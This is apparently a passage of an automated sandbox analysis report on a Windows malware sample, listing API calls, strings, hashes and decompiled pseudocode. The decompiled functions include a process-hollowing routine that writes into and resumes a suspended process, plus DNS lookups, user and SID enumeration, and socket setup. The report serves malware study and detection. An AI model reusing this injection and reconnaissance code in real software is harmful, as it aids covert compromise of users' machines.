0x0040c376
0x0040c37f
0x0040c378
0x0040c378
0x0040c37a
0x0040c37a
0x0040c37a
0x0040c384
0x0040c389
0x0040c38d
0x0040c38d
0x0040c395
0x0040c397
0x0040c397
0x0040c399
0x0040c39c
0x0040c39c
0x0040c39f
0x0040c3ac
0x0040c3ad
0x0040c3b5
0x0040c3b8
0x0040c3bc
0x0040c3bd
0x0040c3c1
0x0040c3c7
0x0040c3c9
0x00000000
0x00000000
0x0040c3cb
0x0040c3d0
0x0040c3d0
0x0040c3cd
0x0040c3cd
0x0040c3cd
0x00000000
0x0040c3c3
0x0040c3c3
0x0040c3d1
0x0040c3d1
0x0040c3d4
0x0040c3d8
0x0040c3da
0x0040c3da
0x0040c3e3
0x0040c3eb
0x0040c3f0
0x0040c3f2
0x0040c3f2
0x0040c3fd
0x0040c405
0x0040c408
0x0040c419
0x0040c41a
0x0040c41d
0x0040c421
0x0040c42a
0x0040c42b
0x0040c430
0x0040c436
0x0040c43b
0x0040c443
0x0040c448
0x0040c44b
0x0040c453
0x0040c456
0x0040c456
0x0040c45c
0x0040c46c
0x0040c475
0x0040c45e
0x0040c45e
0x0040c467
0x0040c467
0x00000000
0x0040c45c
0x0040c3c1

APIs

Part of subcall function 0040A4C7: GetTickCount.KERNEL32 ref: 0040A4D1
Part of subcall function 0040A4C7: InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

GetTickCount.KERNEL32 ref: 0040C31F
GetTickCount.KERNEL32 ref: 0040C32B
GetTickCount.KERNEL32 ref: 0040C363
GetTickCount.KERNEL32 ref: 0040C378
GetTickCount.KERNEL32 ref: 0040C44D
InterlockedIncrement.KERNEL32(0040C4E4), ref: 0040C4AE
CreateThread.KERNEL32(00000000,00000000,0040B535,00000000,?,0040C4E0), ref: 0040C4C1
CloseHandle.KERNEL32(00000000,?,0040C4E0,00413588,00408810), ref: 0040C4CC

Strings

localcfg, xrefs: 0040C2DD

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: CountTick$Interlocked$CloseCreateExchangeHandleIncrementThread
String ID: localcfg
API String ID: 1553760989-1857712256
Opcode ID: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction ID: d79c9f10581ee3273b6165e92ba068ddd4f199cf4cd09fd02743c11af2233124
Opcode Fuzzy Hash: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction Fuzzy Hash: 0E515CB1A00B41CFC7249F6AC5D552ABBE9FB48304B509A3FE58BD7A90D778F8448B14

Uniqueness

Uniqueness Score: -1.00%

Function 022BF565, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(022BCC6D), ref: 022BF59D
socket.WS2_32(00000002,00000001,00000000), ref: 022BF5B7
closesocket.WS2_32(00000000), ref: 022BF5C5

Strings

^s, xrefs: 022BF619
ps, xrefs: 022BF5C5, 022BF5F0
time_cfg, xrefs: 022BF573

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: ps$time_cfg$^s
API String ID: 311057483-2063425486
Opcode ID: 35ab9fe366417f7a0644d99ffa926dabfa0554eb5add049d4f688aed03fde98e
Instruction ID: a71436136680a95f3771cf4a9cd4179c658840ec02cf34d519b241395afc6f04
Opcode Fuzzy Hash: 35ab9fe366417f7a0644d99ffa926dabfa0554eb5add049d4f688aed03fde98e
Instruction Fuzzy Hash: 1431AD7291021DAFDB11DFA4DD88DEEBBBCEF89350F104166F915E3150E7B08A818BA4

Uniqueness

Uniqueness Score: -1.00%

Function 022B3042, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97memorylibrarynetworkCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll), ref: 022B3051
LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 022B3061
GetProcAddress.KERNEL32(00000000,00410408), ref: 022B307E
RtlAllocateHeap.NTDLL(00000000), ref: 022B309F
htons.WS2_32(00000035), ref: 022B30D8
inet_addr.WS2_32(?), ref: 022B30E3
gethostbyname.WS2_32(?), ref: 022B30F6
HeapFree.KERNEL32(00000000), ref: 022B3136

Strings

iphlpapi.dll, xrefs: 022B304B, 022B3050, 022B3060

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocateFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: iphlpapi.dll
API String ID: 2869546040-3565520932
Opcode ID: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction ID: 96efd408273ef7c4d6fc09bdde950dc4496fce41d7c258baaa8243389c5962e8
Opcode Fuzzy Hash: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction Fuzzy Hash: 3331B331A20206ABDB12DBF89C48BEE7BBCAF047A5F1441A5E914E31A4DB74D5418B58

Uniqueness

Uniqueness Score: -1.00%

Function 00429740, Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 105windowCOMMON

Download Yara Rule

APIs

__invoke_watson_if_oneof.LIBCMTD ref: 0042983E
_wcscpy_s.LIBCMTD ref: 00429880
__invoke_watson_if_error.LIBCMTD ref: 00429889
___crtMessageBoxW.LIBCMTD ref: 004298A2
_raise.LIBCMTD ref: 004298BB

Strings

`S@, xrefs: 00429783
tS@, xrefs: 004297BC, 004297C2
lS@, xrefs: 004297CA, 004297D0

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof_raise_wcscpy_s
String ID: `S@$lS@$tS@
API String ID: 908537515-3485714007
Opcode ID: e0c4c5656a747a3dcb60578a3350a04d6370b9e54c45de4b2861becc08875723
Instruction ID: 55de5ac4725b36be51a981414e77c00a75ee28fa2c6a09a96ef030366993adf2
Opcode Fuzzy Hash: e0c4c5656a747a3dcb60578a3350a04d6370b9e54c45de4b2861becc08875723
Instruction Fuzzy Hash: DB413374A40228ABDB28DA51DC46FDA7374AB48704F5440EEF609772C1D6B86EC08F99

Uniqueness

Uniqueness Score: -1.00%

Function 00402D21, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 85
memorylibrarystringCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00402D21(intOrPtr _a4) {
				long _v8;
				long _v12;
				void* _v16;
				char _v28;
				struct HINSTANCE__* _t19;
				_Unknown_base(*)()* _t20;
				long* _t30;
				intOrPtr* _t37;
				long _t39;
				long _t40;
				void* _t41;

				asm("movsd");
				asm("movsd");
				asm("movsw");
				asm("movsb");
				_t19 = GetModuleHandleA( &_v28);
				_t39 = 0;
				if(_t19 != 0) {
					L3:
					_t20 = GetProcAddress(_t19, "DnsQuery_A");
					if(_t20 == _t39) {
						L2:
						return 0;
					}
					_push(_t39);
					_t35 =  &_v16;
					_push( &_v16);
					_push(_t39);
					_push(_t39);
					_push(0xf);
					_push(_a4);
					if( *_t20() != 0) {
						goto L2;
					}
					_t37 = _v16;
					_v8 = _t39;
					_v12 = _t39;
					if(_t37 == _t39) {
						L14:
						return _v12;
					}
					do {
						if( *((short*)(_t37 + 8)) != 0xf) {
							goto L12;
						}
						_t40 = HeapAlloc(GetProcessHeap(), _t39, 0x108);
						if(_t40 == 0) {
							break;
						}
						E0040EE2A(_t35, _t40, 0, 0x108);
						_t41 = _t41 + 0xc;
						 *(_t40 + 4) =  *(_t37 + 0x1c) & 0x0000ffff;
						_t13 = _t40 + 8; // 0x8
						lstrcpynA(_t13,  *(_t37 + 0x18), 0xff);
						_t30 = _v8;
						_v8 = _t40;
						if(_t30 != 0) {
							 *_t30 = _t40;
						} else {
							_v12 = _t40;
						}
						L12:
						_t37 =  *_t37;
						_t39 = 0;
					} while (_t37 != 0);
					goto L14;
				}
				_t19 = LoadLibraryA( &_v28);
				if(_t19 != 0) {
					goto L3;
				}
				goto L2;
			}

0x00402d31
0x00402d32
0x00402d33
0x00402d39
0x00402d3a
0x00402d40
0x00402d44
0x00402d5b
0x00402d61
0x00402d69
0x00402d54
0x00000000
0x00402d54
0x00402d6b
0x00402d6c
0x00402d6f
0x00402d70
0x00402d71
0x00402d72
0x00402d74
0x00402d7b
0x00000000
0x00000000
0x00402d7d
0x00402d80
0x00402d83
0x00402d88
0x00402deb
0x00000000
0x00402deb
0x00402d90
0x00402d95
0x00000000
0x00000000
0x00402da6
0x00402daa
0x00000000
0x00000000
0x00402db0
0x00402db9
0x00402dc1
0x00402dc7
0x00402dcb
0x00402dd1
0x00402dd4
0x00402dd9
0x00402de0
0x00402ddb
0x00402ddb
0x00402ddb
0x00402de2
0x00402de2
0x00402de4
0x00402de6
0x00000000
0x00402dea
0x00402d4a
0x00402d52
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(00000000,73BCEA30,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
LoadLibraryA.KERNEL32(?), ref: 00402D4A
GetProcAddress.KERNEL32(00000000,DnsQuery_A), ref: 00402D61
GetProcessHeap.KERNEL32(00000000,00000108,000DBBA0), ref: 00402D99
HeapAlloc.KERNEL32(00000000), ref: 00402DA0
lstrcpynA.KERNEL32(00000008,?,000000FF), ref: 00402DCB

Strings

dnsapi.dll, xrefs: 00402D29
DnsQuery_A, xrefs: 00402D5B

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: DnsQuery_A$dnsapi.dll
API String ID: 3560063639-3847274415
Opcode ID: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction ID: e5e1ee734cbcfb8ca4eff609f7c37a2f42b45bda1feb54b0ffc2340cedddb21a
Opcode Fuzzy Hash: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction Fuzzy Hash: 25214F7190022AABCB11AB55DD48AEFBBB8EF08750F104432F905B7290D7F49E8587D8

Uniqueness

Uniqueness Score: -1.00%

Function 00406CC9, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 84
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00406CC9(void* __ecx) {
				_Unknown_base(*)()* _t8;
				CHAR* _t17;
				void* _t18;
				void* _t23;
				char _t25;
				void* _t34;

				_t23 = __ecx;
				if( *0x412e08 != 0) {
					L14:
					return 0x412e08;
				}
				_t8 = GetProcAddress(GetModuleHandleA("kernel32"), "GetSystemWow64DirectoryA");
				if(_t8 == 0) {
					L4:
					if(GetSystemDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
						if(GetWindowsDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
							E0040EF00(0x412e08, E00402544(0x4122f8, 0x410664, 0xb, 0xe4, 0xc8));
							E0040EE2A(_t23, 0x4122f8, 0, 0x100);
							_t34 = _t34 + 0x28;
						}
						E0040EF1E(0x412e08, E00402544(0x4122f8, 0x410658, 0xb, 0xe4, 0xc8));
						E0040EE2A(_t23, 0x4122f8, 0, 0x100);
					}
					L10:
					_t17 = 0x412e08;
					goto L11;
					L11:
					_t25 =  *_t17;
					_t17 =  &(_t17[1]);
					if(_t25 != 0) {
						goto L11;
					} else {
						_t18 = _t17 - 0x412e09;
						if( *((char*)(_t18 + 0x412e07)) != 0x5c) {
							 *((char*)(_t18 + 0x412e08)) = 0x5c;
							 *((char*)(_t18 + 0x412e09)) = _t25;
						}
						goto L14;
					}
				}
				_push(0x104);
				_push(0x412e08);
				if( *_t8() == 0 ||  *0x412e08 == 0) {
					goto L4;
				} else {
					goto L10;
				}
			}

0x00406cc9
0x00406cd6
0x00406dbe
0x00406dc1
0x00406dc1
0x00406cee
0x00406cfb
0x00406d12
0x00406d1c
0x00406d40
0x00406d60
0x00406d69
0x00406d6e
0x00406d6e
0x00406d86
0x00406d8f
0x00406d98
0x00406d99
0x00406d99
0x00406d9e
0x00406d9f
0x00406d9f
0x00406da1
0x00406da4
0x00000000
0x00406da6
0x00406da6
0x00406daf
0x00406db1
0x00406db8
0x00406db8
0x00000000
0x00406daf
0x00406da4
0x00406cfd
0x00406cfe
0x00406d03
0x00000000
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
GetProcAddress.KERNEL32(00000000), ref: 00406CEE
GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 00406D14
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

Strings

C:\Windows\SysWOW64\, xrefs: 00406CC9, 00406CD1, 00406CFE, 00406D05, 00406D13, 00406D1E, 00406D2A, 00406D42, 00406D5F, 00406D85
kernel32, xrefs: 00406CE2
PromptOnSecureDesktop, xrefs: 00406CDC, 00406D36, 00406D58, 00406D68, 00406D7E, 00406D8E
GetSystemWow64DirectoryA, xrefs: 00406CDD

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$GetSystemWow64DirectoryA$PromptOnSecureDesktop$kernel32
API String ID: 1082366364-2834986871
Opcode ID: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction ID: 283af98db633f334a3c96cb566aa979ace8a56c3c0d7b64ee1e11c7fdc897f47
Opcode Fuzzy Hash: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction Fuzzy Hash: AC21F26174034479F72157225D89FF72E4C8F52744F19407AF804B62D2CAED88E582AD

Uniqueness

Uniqueness Score: -1.00%

Function 0040977C, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82
threadinjectionprocessCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040977C(void* __ecx, CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				void _v24;
				char _v28;
				struct _STARTUPINFOA _v96;
				struct _CONTEXT _v812;
				void* _t33;

				_t46 = __ecx;
				E0040EE2A(__ecx,  &_v96, 0, 0x44);
				_v96.cb = 0x44;
				if(CreateProcessA(0, _a4, 0, 0, 0, 4, 0, 0,  &_v96,  &_v20) != 0) {
					E0040EE2A(_t46,  &_v812, 0, 0x2cc);
					_v812.ContextFlags = 0x10002;
					if(GetThreadContext(_v20.hThread,  &_v812) != 0) {
						_t33 = E0040637C(_entry_, _v20.hProcess,  &_v28,  &_v24);
						_push(0);
						if(_t33 == 0) {
							L4:
							TerminateProcess(_v20.hProcess, ??);
							goto L1;
						}
						if(WriteProcessMemory(_v20, _v812.Ebx + 8,  &_v24, 4, ??) == 0) {
							goto L3;
						}
						_v812.Eax = _v28;
						if(SetThreadContext(_v20.hThread,  &_v812) == 0) {
							goto L3;
						}
						ResumeThread(_v20.hThread);
						return 1;
					}
					L3:
					_push(0);
					goto L4;
				}
				L1:
				return 0;
			}

0x0040977c
0x0040978f
0x004097a9
0x004097b9
0x004097cf
0x004097e1
0x004097f3
0x00409811
0x00409819
0x0040981c
0x004097f6
0x004097f9
0x00000000
0x004097f9
0x00409839
0x00000000
0x00000000
0x0040983e
0x00409856
0x00000000
0x00000000
0x0040985b
0x00000000
0x00409863
0x004097f5
0x004097f5
0x00000000
0x004097f5
0x004097bb
0x00000000

APIs

CreateProcessA.KERNEL32(00000000,00409947,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,?,PromptOnSecureDesktop), ref: 004097B1
GetThreadContext.KERNEL32(?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097EB
TerminateProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097F9
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 00409831
SetThreadContext.KERNEL32(?,00010002,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040984E
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040985B

Strings

D, xrefs: 004097A9
PromptOnSecureDesktop, xrefs: 00409785

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D$PromptOnSecureDesktop
API String ID: 2981417381-1403908072
Opcode ID: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction ID: 6dc29e085b1385aad622296cf5a9b119a202239bcf48ce0aeeb22bf7d7f748db
Opcode Fuzzy Hash: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction Fuzzy Hash: 54216DB2901119BBDB119FA1DC49EEF7B7CEF05750F004071B909F2191EB759A44CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 022B6761, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(?,00000008), ref: 022B67AC
htonl.WS2_32(?), ref: 022B67C8
htonl.WS2_32(?), ref: 022B67D7
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 022B68DA
ExitProcess.KERNEL32 ref: 022B69A5

Strings

localcfg, xrefs: 022B697D
except_info, xrefs: 022B6978

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: Processhtonl$CurrentExitHugeRead
String ID: except_info$localcfg
API String ID: 1150517154-3605449297
Opcode ID: 8c67a5bde2c17ed3aff6f0ea1f646f2c63f3a3fdf38cb08711d1dfe4718764d5
Instruction ID: 6740214cae281ef654f20200df60d4a4f44697d06d81ff228697fadf7c1f8fb9
Opcode Fuzzy Hash: 8c67a5bde2c17ed3aff6f0ea1f646f2c63f3a3fdf38cb08711d1dfe4718764d5
Instruction Fuzzy Hash: 12618F72950208AFDB219FA4DC45FE977E9FF08300F148066FA6CD2161DBB59984CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00406F5F, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00406F5F(long _a4, long _a8) {
				void* _v8;
				long _v12;
				union _SID_NAME_USE _v16;
				void _v84;
				char _v212;
				CHAR* _t36;
				void* _t53;
				intOrPtr* _t54;
				char _t62;
				void* _t65;
				char* _t66;
				intOrPtr _t67;
				CHAR* _t68;
				void* _t69;

				_t68 = _a4;
				 *_t68 = 0;
				if(GetUserNameA(_t68,  &_a8) == 0) {
					return 0;
				}
				_t36 = _t68;
				_t66 =  &(_t36[1]);
				do {
					_t62 =  *_t36;
					_t36 =  &(_t36[1]);
				} while (_t62 != 0);
				_a8 = _t36 - _t66;
				_a4 = 0x7c;
				_v12 = 0x80;
				if(LookupAccountNameA(0, _t68,  &_v84,  &_a4,  &_v212,  &_v12,  &_v16) == 0) {
					L8:
					_a8 = _a8 + wsprintfA( &(_t68[_a8]), "/%d", E00406EDD());
					return _a8;
				}
				E0040EF00( &(_t68[_a8]), "/");
				_a8 = _a8 + 1;
				_push( &_v8);
				_t53 =  &_v84;
				_push(_t53);
				L0040F4AA();
				if(_t53 == 0) {
					goto L8;
				}
				_t54 = _v8;
				_t20 = _t54 + 1; // 0x121
				_t65 = _t20;
				do {
					_t67 =  *_t54;
					_t54 = _t54 + 1;
				} while (_t67 != 0);
				_a4 = _t54 - _t65;
				E0040EE08( &(_t68[_a8]), _v8, _t54 - _t65 + 1);
				_a8 = _a8 + _a4;
				_t69 = _t69 + 0xc;
				LocalFree(_v8);
				goto L8;
			}

0x00406f6c
0x00406f77
0x00406f82
0x00000000
0x00407047
0x00406f88
0x00406f8a
0x00406f8d
0x00406f8d
0x00406f8f
0x00406f90
0x00406f96
0x00406fb3
0x00406fba
0x00406fc9
0x00407025
0x0040703f
0x00000000
0x00407042
0x00406fd6
0x00406fdb
0x00406fe3
0x00406fe4
0x00406fe7
0x00406fe8
0x00406fef
0x00000000
0x00000000
0x00406ff1
0x00406ff4
0x00406ff4
0x00406ff7
0x00406ff7
0x00406ff9
0x00406ffa
0x00407000
0x0040700e
0x00407016
0x00407019
0x0040701f
0x00000000

APIs

GetUserNameA.ADVAPI32(?,0040D7C3), ref: 00406F7A
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,0040D7C3), ref: 00406FC1
ConvertSidToStringSidA.ADVAPI32(?,00000120), ref: 00406FE8
LocalFree.KERNEL32(00000120), ref: 0040701F
wsprintfA.USER32 ref: 00407036

Strings

/%d, xrefs: 00407030
|, xrefs: 00406FB3

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: Name$AccountConvertFreeLocalLookupStringUserwsprintf
String ID: /%d$|
API String ID: 676856371-4124749705
Opcode ID: a4e95b79f46088df25ad898cee238acd61ae00be348fc6b2bdbab1b8b404bd7d
Instruction ID: 25602f0bb6ce76eb5d01febd46d0227a680cec7408ef54ec30c82d1084126da1
Opcode Fuzzy Hash: a4e95b79f46088df25ad898cee238acd61ae00be348fc6b2bdbab1b8b404bd7d
Instruction Fuzzy Hash: B5313C72900209BFDB01DFA5DC45BDB7BBCEF04314F048166F949EB241DA79EA588B98

Uniqueness

Uniqueness Score: -1.00%

Function 022B2F71, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 85memorylibrarystringCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 022B2F8A
LoadLibraryA.KERNEL32(?), ref: 022B2F9A
GetProcAddress.KERNEL32(00000000,004103F0), ref: 022B2FB1
GetProcessHeap.KERNEL32(00000000,00000108), ref: 022B2FE9
RtlAllocateHeap.NTDLL(00000000), ref: 022B2FF0
lstrcpyn.KERNEL32(00000008,?,000000FF), ref: 022B301B

Strings

dnsapi.dll, xrefs: 022B2F79

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocateHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: dnsapi.dll
API String ID: 1242400761-3175542204
Opcode ID: 7f5d185b3cfc49c95be658a26291c7e098e834ef0b89546cb75d65dd2dad2050
Instruction ID: be5be5abf594f607f16391346e0a52915eff4e22a4f37ebc036e6fcd3dd81533
Opcode Fuzzy Hash: 7f5d185b3cfc49c95be658a26291c7e098e834ef0b89546cb75d65dd2dad2050
Instruction Fuzzy Hash: B7217171D5122AFBCB22DB94DC48AEEBBBCEF08B94F008561F905E7114D7B09A8187D4

Uniqueness

Uniqueness Score: -1.00%

Function 00406BA7, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00406BA7(CHAR* _a4) {
				long _v8;
				long _v12;
				long _t14;
				int _t19;
				void* _t28;
				void* _t39;

				_push(_t30);
				if(IsBadCodePtr( *0x4130ac) == 0) {
					_push( &_v8);
					_push(0);
					if( *0x4130ac() == 0) {
						_t28 = E0040EBCC(_v8);
						if(_t28 == 0) {
							L7:
							_t14 = 0;
						} else {
							_push( &_v8);
							_push(_t28);
							if( *0x4130ac() == 0) {
								_v12 = 0;
								_t39 = CreateFileA(_a4, 0x40000000, 0, 0, 2, 0x80, 0);
								if(_t39 != 0xffffffff) {
									_t19 = WriteFile(_t39, _t28, _v8,  &_v12, 0);
									_push(_t39);
									if(_t19 != 0) {
										CloseHandle();
										E0040EC2E(_t28);
										_t14 = _v8;
									} else {
										CloseHandle();
										DeleteFileA(_a4);
										goto L9;
									}
								} else {
									L9:
									E0040EC2E(_t28);
									_t14 = 0;
								}
							} else {
								E0040EC2E(_t28);
								goto L7;
							}
						}
					} else {
						_t14 = 0;
					}
					return _t14;
				} else {
					return 0;
				}
			}

0x00406bab
0x00406bba
0x00406bc4
0x00406bc7
0x00406bd2
0x00406be4
0x00406be9
0x00406c03
0x00406c03
0x00406beb
0x00406bee
0x00406bef
0x00406bfa
0x00406c1a
0x00406c23
0x00406c28
0x00406c3e
0x00406c44
0x00406c47
0x00406c5a
0x00406c61
0x00406c66
0x00406c49
0x00406c49
0x00406c52
0x00000000
0x00406c52
0x00406c2a
0x00406c2a
0x00406c2b
0x00406c30
0x00406c30
0x00406bfc
0x00406bfd
0x00000000
0x00406c02
0x00406bfa
0x00406bd4
0x00406bd4
0x00406bd4
0x00406c6e
0x00406bbc
0x00406bbf
0x00406bbf

APIs

IsBadCodePtr.KERNEL32 ref: 00406BB2

Strings

PromptOnSecureDesktop, xrefs: 00406BC0

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: Code
String ID: PromptOnSecureDesktop
API String ID: 3609698214-2980165447
Opcode ID: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction ID: deae59b9a6c18e17a8054c2740d34a6eafe128a66e3352cd220e92de8f8b68f4
Opcode Fuzzy Hash: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction Fuzzy Hash: D7218B72208115FFEB10ABB1ED49EDF3EACDB08364B218436F543F1091EA799A50966C

Uniqueness

Uniqueness Score: -1.00%

Function 022B6F19, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00410380,00410670,00000000,\\.\pipe\lzkmqbjh,022B702C), ref: 022B6F37
GetProcAddress.KERNEL32(00000000), ref: 022B6F3E
GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 022B6F64
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 022B6F7B

Strings

C:\Windows\SysWOW64\, xrefs: 022B6F19, 022B6F21, 022B6F4E, 022B6F55, 022B6F63, 022B6F6E, 022B6F7A, 022B6F92, 022B6FAF, 022B6FD5
PromptOnSecureDesktop, xrefs: 022B6F86, 022B6FA8, 022B6FB8, 022B6FCE, 022B6FDE
\\.\pipe\lzkmqbjh, xrefs: 022B6F20

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$PromptOnSecureDesktop$\\.\pipe\lzkmqbjh
API String ID: 1082366364-407235924
Opcode ID: 04a770052eb57bbfbb30415af63bc188d31a19c33639d4dbddcadc0e825ea320
Instruction ID: 05b1ec2a6647039d26f4cc492c57fb3552b68e3173668ec52537b9ff2f30483c
Opcode Fuzzy Hash: 04a770052eb57bbfbb30415af63bc188d31a19c33639d4dbddcadc0e825ea320
Instruction Fuzzy Hash: 3B2140217603457AF72353A09D8CFFB2E4D8F42794F1880A5F908E2098CFD9C49686AD

Uniqueness

Uniqueness Score: -1.00%

Function 00409064, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83
filestringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00409064(void* __eflags, void* _a4, CHAR* _a8) {
				long _v8;
				char _v1032;
				signed int _t29;
				signed int _t62;
				void* _t64;

				GetTempPathA(0x400,  &_v1032);
				E00408274( &_v1032);
				_t29 = E0040ECA5();
				_t62 = 9;
